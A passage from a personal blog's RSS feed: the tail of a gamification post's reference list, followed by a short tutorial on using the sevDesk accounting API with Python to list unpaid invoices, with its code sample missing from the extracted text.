Approach. In: Persuasive Technology. Hrsg. von D. Hutchison, T. Kanade und J. Kittler. Bd. 8462. Lecture Notes in Computer Science / Information Systems and Applications, Incl. Internet/Web, and HCI. Cham: Springer International Publishing, 2014, S. 266272. isbn: 9783319071268. doi: 10.1007/978331907127-5_23.<br /><strong>[WH12]</strong> K. Werbach und D. Hunter. For the Win: How Game Thinking Can Revolutionize Your Business. Chicago: Wharton Digital Press, 2012. isbn: 9781613630235.</p>]]></description><link>https://blog.lohr.dev/gamification</link><guid isPermaLink="true">https://blog.lohr.dev/gamification</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 30 Oct 2019 15:38:49 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/unsplash/m4sGYaHYN5o/upload/v1641641987096/Nex6OmyJQ.jpeg</cover_image></item><item><title><![CDATA[Using the sevDesk API to extend bookkeeping functionality]]></title><description><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641640900906/UQSLMGZeF.png" alt="The sevDesk dashboard" /></p><p><a target="_blank" href="https://sevdesk.com">sevDesk</a> is an accounting cloud-software (SaaS), which offers a simple and intuitive user interface, but allows to book complex processes as in common accounting software. There is other accounting-SaaS too (and I tested most of the big ones), but sevDesk has the most features AND they have a very well-designed REST API which allows you to do anything (and more!), which can be done by the web-based user interface.</p><blockquote><p>Using the sevDesk-API, you can automate <strong>every</strong> accounting task.</p></blockquote><p>In this introduction, we are going to create a simple Python tool that returns all unpaid invoices.</p><h3 id="heading-step-1-gather-api-token">Step 1: Gather API-token</h3><p>To get your API token, go to Settings &gt; User (in German: Einstellungen &gt; Benutzer) and click on your useryou will find the token below the language setting. Its recommended to create an extra user.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636852524/3plm5psH3.png" alt /></p><p>User settings in sevDesk, showing the API token.</p><h3 id="heading-step-2-create-web-requests-to-the-api">Step 2: Create web requests to the API</h3><p>At this point, we can finally start coding. The API-endpoints are documented <a target="_blank" href="https://my.sevdesk.de/swaggerUI/index.html">here</a>, you can even enter your token and play around with the API.</p><p>This is the Python code to get all unpaid invoices:</p><h3 id="heading-step-3-create-your-custom-logic">Step 3: Create your custom logic</h3><p>Now you have your basic setup and you could start implementing your custom logic, like reminding your customers to pay their invoices.</p><p>For the sake of simplicity, my code example doesnt handle any errors.</p><p>Of course, you can use any other programming language for this too. I just use Python for prototyping API-logic, because the interaction with JSON and object-manipulation is great.</p><p>Feel free to share your sevDesk-projects with me, I hope to see lots of tools on GitHub.</p><h3 id="heading-further-use-cases">Further use cases</h3><p>This was a very simple example, but you can do a lot more with the API, e.g.:</p><ul><li>Automatically backup all your data or send it to the accountant</li><li>Generate Elster-import data for the Zusammenfassende Meldung (a German tax form not supported by sevDesk)</li><li>Automate invoicing for more complex reoccurring payments</li><li>Integrate in your own shop software.</li><li>Create a customer dashboard, which shows all there invoices.</li></ul>]]></description><link>https://blog.lohr.dev/sevdesk-api</link><guid isPermaLink="true">https://blog.lohr.dev/sevdesk-api</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 17 Apr 2019 08:04:45 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636854765/kE2SdKxNt.png</cover_image></item></channel></rss>